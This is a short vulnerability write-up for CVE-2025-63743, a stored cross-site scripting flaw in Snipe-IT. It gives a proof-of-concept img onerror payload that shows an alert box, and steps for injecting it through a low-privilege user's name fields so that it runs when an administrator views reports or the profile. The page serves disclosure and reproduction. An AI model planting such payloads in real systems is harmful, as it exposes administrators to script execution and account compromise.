CVE-2025-63743 Snipe-IT 存储型XSS漏洞

<script> /* * PoC for CVE-2025-63743 * Description: Stored XSS via Name/Surname fields in Snipe-IT * Prerequisite: The user's "Display Name" must be empty. */ // Malicious Payload to be injected in the "Name" or "Surname" field // This payload triggers an alert box to demonstrate execution. const payload = '<img src=x onerror=alert(\'CVE-2025-63743-XSS\')>'; /* * Reproduction Steps: * 1. Log in to Snipe-IT as a low-privilege user. * 2. Navigate to the user's profile settings (e.g., /account/profile). * 3. Ensure the "Display Name" field is cleared/empty. * 4. In the "First Name" or "Last Name" input field, paste the payload. * 5. Save the profile changes. * 6. Log in as an Administrator. * 7. Navigate to the "Activity Report" page or view the low-privilege user's profile. * 8. Observe the JavaScript alert executing. */ </script>